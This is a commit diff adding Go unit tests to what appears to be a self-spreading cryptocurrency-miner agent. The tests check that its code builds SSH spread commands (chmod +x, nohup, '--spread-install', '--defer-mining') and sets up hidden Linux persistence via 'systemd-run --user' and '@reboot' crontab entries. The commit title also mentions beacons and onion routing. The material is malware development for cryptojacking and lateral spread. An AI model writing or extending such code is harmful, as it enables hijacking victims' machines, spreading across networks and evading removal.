Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

agent/deploy/linux_lotl_test.go

@@ -0,0 +1,65 @@
+//go:build !windows
+
+package deploy
+
+import (
+	"strings"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestSystemdLinuxLOTLLaneSSHStartCmd(t *testing.T) {
+	cmd := sshSpreadStartCmd("/tmp/af-worker")
+	for _, want := range []string{"chmod +x", "--spread-install", "--defer-mining", "nohup"} {
+		if !strings.Contains(cmd, want) {
+			t.Fatalf("cmd=%q missing %q", cmd, want)
+		}
+	}
+}
+
+func TestSystemdLinuxLOTLPersistSystemdRunUser(t *testing.T) {
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "systemd_run_user"}}
+	cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
+	if !strings.Contains(cmd, "systemd-run --user") {
+		t.Fatalf("cmd=%q", cmd)
+	}
+	if !strings.Contains(cmd, "--defer-mining") {
+		t.Fatal("expected defer-mining in systemd persist")
+	}
+}
+
+func TestSystemdLinuxLOTLPersistCrontab(t *testing.T) {
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "crontab"}}
+	cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
+	if !strings.Contains(cmd, "@reboot") || !strings.Contains(cmd, "crontab") {
+		t.Fatalf("cmd=%q", cmd)
+	}
+}
+
+func TestSystemdLinuxLOTLPersistBothModes(t *testing.T) {
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "both"}}
+	cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
+	if !strings.Contains(cmd, "systemd-run") || !strings.Contains(cmd, "crontab") {
+		t.Fatalf("cmd=%q", cmd)
+	}
+}
+
+func TestSystemdLinuxLOTLPersistOffReturnsEmpty(t *testing.T) {
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "off"}}
+	if got := sshSpreadPersistCmd(cfg, "/opt/af/worker"); got != "" {
+		t.Fatalf("got %q", got)
+	}
+}
+
+func TestTryLotlTierLinuxLOTLLane(t *testing.T) {
+	ok, msg := tryLotlTier(config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{AutoSpread: true, LinuxLOTLMode: "systemd_run_user"},
+	}, "linux")
+	if !ok {
+		t.Fatalf("linux tier should succeed, got %q", msg)
+	}
+	if !strings.Contains(msg, "ssh") {
+		t.Fatalf("msg=%q", msg)
+	}
+}